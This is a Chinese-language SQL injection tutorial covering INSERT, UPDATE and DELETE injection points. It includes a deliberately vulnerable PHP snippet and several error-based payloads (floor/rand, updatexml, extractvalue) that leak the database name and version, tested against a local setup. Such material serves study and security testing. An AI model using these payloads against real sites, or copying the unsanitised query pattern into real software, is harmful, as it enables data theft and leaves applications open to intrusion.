select 查詢數據(大部分)
在網站應用中進行數據顯示查詢操作
在網站應用中進行用戶注冊添加等操作
delete 刪除數據
后台管理里面刪除文章刪除用戶等操作
update 更新數據
數據同步緩存等操作
通過以上查詢方式與網站應用的關系,可以由注入點產生地方或應用猜測到對方的SQL查詢方式
注意:掃描工具一般不能掃描到insert,updata,delete命令的注入點,因為交互過程復雜,涉及到用戶登錄狀態,用戶行為交互等方面,這就需要手工測試了
本地模擬網站輸入用戶名
<?php $id=$_GET['i']; $users=$_GET['u']; $pass=$_GET['p']; $sql="insert into users (id,name,password) values ('$id','$users','$pass');"; echo $sql; ?>

指定u參數即可生成插入數據庫的SQL命令
同時在任意數據庫中新建以下表:

insert語句
INSERT INTO 語句用於向表格中插入新的行。
INSERT INTO 表名稱 VALUES (值1, 值2,....)
我們也可以指定所要插入數據的列:
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
一般出現在注冊是新建昵稱等插入文字的地方
本地參數u中用戶名輸入:
Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '

執行的完整SQL語句
insert into users (id,name,password) values ('','Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '','');
復制到SQL數據庫中執行

可以看到執行之后顯示出數據庫名
同理可推斷出數據庫update(網站個性簽名等地方)與delete(網站帖子管理等地方)命令的注入方式:
update命令
update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;
數據庫執行

delete命令
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a);

insert命令:

用戶名輸入:
Olivia' or updatexml(1,concat(0x7e,(version())),0) or '

復制去數據庫執行

可以看到把數據庫的版本查詢出來了
同理可推斷出數據庫update(網站個性簽名等地方)與delete(網站帖子管理等地方)命令的注入方式:
update命令
update users set password='Olivia' or updatexml(1,concat(0x7e,(version())),0) or '' where id=2;

delete命令
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

insert命令:
用戶名輸入:
Olivia' or extractvalue(1,concat(0x7e,database())) or '

update命令
update users set password='Olivia' or extractvalue(1,concat(0x7e,database())) or '';

delete命令
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

文章參考
